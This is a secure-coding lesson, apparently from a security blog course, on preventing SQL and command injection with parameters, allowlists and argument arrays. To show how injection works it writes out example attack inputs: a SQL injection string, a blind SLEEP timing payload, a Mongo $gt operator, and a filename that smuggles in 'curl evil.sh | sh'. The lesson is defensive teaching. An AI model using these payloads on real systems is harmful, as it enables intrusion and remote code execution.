Lesson 2 of 20 · 20m
Injection: parameters for SQL, argument arrays for commands
Why concatenated queries and shell strings get owned, and the typed side channel that fixes every interpreter.
Concatenating a value into SQL text doesn't put the value "inside" the query — it makes the value part of the query. The parser at the other end has no idea which bytes were supposed to be data:
cur.execute(f"SELECT * FROM users WHERE email = '{email}'")
# email = "x' OR '1'='1" → the quote closes the string, OR '1'='1 becomes SQLThat is the entire mechanism. Everything downstream is damage.
This is not a rare bug class. TalkTalk's 2015 breach — roughly 157,000 customers, a £400,000 ICO fine — walked in through SQL injection on a legacy ASP page. Equifax 2017 was the same family in a different coat: CVE-2017-5638 let a Content-Type header be evaluated as an OGNL expression by Apache Struts. Injection means the interpreter executed attacker text, whatever the interpreter is — SQL, a shell, LDAP, OGNL, a template engine.
The fix that always works: parameters
Parameterized queries put SQL text and values on separate channels. The value is never parsed as SQL — not for a single quote, not for anything:
cur.execute("SELECT * FROM users WHERE email = %s", (email,)) # psycopgawait pool.query("SELECT * FROM users WHERE email = $1", [email]); // node-postgres$st = $pdo->prepare("SELECT * FROM users WHERE email = ?");
$st->execute([$email]);PreparedStatement st = conn.prepareStatement("SELECT * FROM users WHERE email = ?");
st.setString(1, email);The wrong model here is "escape the dangerous characters." Escaping has lost in production repeatedly — mysql_real_escape_string was famously bypassed through the GBK charset, where a multibyte sequence swallows the escape backslash — and every hand-rolled escape invents a similar edge. Parameters don't escape anything; they remove the parse step entirely.
Prepare is not a talisman: $pdo->prepare("SELECT * FROM users WHERE email = '$email'") interpolates before the parse ever sees it — the placeholder has to be in the text. And injection doesn't need output. Blind injection exfiltrates through behavior: OR IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) turns a boolean into timing, one bit per request; UNION SELECT grafts attacker columns onto results the page already renders. "The query returned nothing" is not "the input was safe."
What parameters can't do
Placeholders bind values, not identifiers. A user-chosen sort column, table name, or LIMIT can't ride a ?. Identifiers get an allowlist, never interpolation:
const SORTS = { newest: "created_at DESC", top: "score DESC" };
const order = SORTS[req.query.sort] ?? SORTS.newest; // never interpolate req.query.sortLIMIT and OFFSET can bind (a number is a value), but ASC/DESC and the column being sorted cannot — keywords and identifiers get allowlists everywhere. The same "values only" rule bites elsewhere: LIKE wildcards in a parameter still need their %/_ escaped, and NoSQL has its own version — passing {email: req.body.email} to Mongo means {"$gt": ""} matches everyone, so coerce inputs to strings before they reach query objects.
Watch second-order injection too: a value stored safely and then concatenated into a later query injects just as well. And every ORM has an escape hatch — raw(), whereRaw, sql.unsafe, extraWhere — that reintroduces text-building. Grep for them in review.
Command injection: never hand a string to a shell
os.system("convert " + filename + " out.png") # filename = "x.png; curl evil.sh | sh"os.system, exec, execSync, system(), Runtime.exec(string), cmd /c, powershell -Command — all run a shell, and a shell parses ;, &&, |, $() and backticks. Shellshock (CVE-2014-6271) showed how ugly this gets: bash executed function definitions smuggled inside environment variables, so a CGI request header became a command.
The fix is the same shape as SQL: separate code from data. Pass an argument array — no shell involved, nothing to parse — and put -- before user values so they can't be read as options:
subprocess.run(["convert", "--", filename, "out.png"], check=True, timeout=10)execFile("convert", ["--", filename, "out.png"]); // not exec("convert " + …)new ProcessBuilder("convert", "--", filename, "out.png").start(); // list formJava's Runtime.exec("convert x y") isn't a shell either — it just splits on spaces, which is its own trap. Use ProcessBuilder with the list form.
Windows deserves its own warning: cmd /c quoting is adversarial in a different dialect (caret escapes, & not needing spaces), and powershell -Command runs whatever string lands in it. If a shell is truly unavoidable, escapeshellarg beats hand-quoting — but the argv array is the fix you never have to reason about. And put a timeout= on every subprocess call: a wedged convert is a resource leak on top of everything else.
Practice
One rule covers every interpreter: if the destination parses a language, values ride a typed side channel — parameters, argv arrays, prepared formats — or an allowlist. Never in the text. Add raw, exec, system(, eval, Runtime.exec, and os.system to your review greps.
Keep reading
Related articles from the SudoSecurity blog.
Building a Production REST API With Node.js and Express
Build a REST API in Node.js and Express the way production systems need: input validation, JWT auth, refresh token rotation, status codes, rate limiting, idempotency keys, and centralized error handling.
RSA in JavaScript Part 2: The JWT Is Where You'll Actually Meet It
Most JavaScript developers never call an RSA function directly. They verify an RS256 token, and two classic attacks turn that into an authentication bypass — both demonstrated here, both fixed by one line.
RSA Signatures: The Version in Most Tutorials Is Forgeable
Signing is encryption with the keys swapped, and that symmetry is exactly what makes the naive implementation breakable. Here are two forgeries executed against textbook RSA signatures, and what PSS does that hashing alone cannot.
Ask Java for AES and You Get ECB. Nobody Warns You.
Cipher.getInstance("AES") compiles, runs, encrypts, decrypts, and hands you the weakest mode in the box. Here is the OpenJDK source that makes that decision, and the line where ECB gets chosen for you.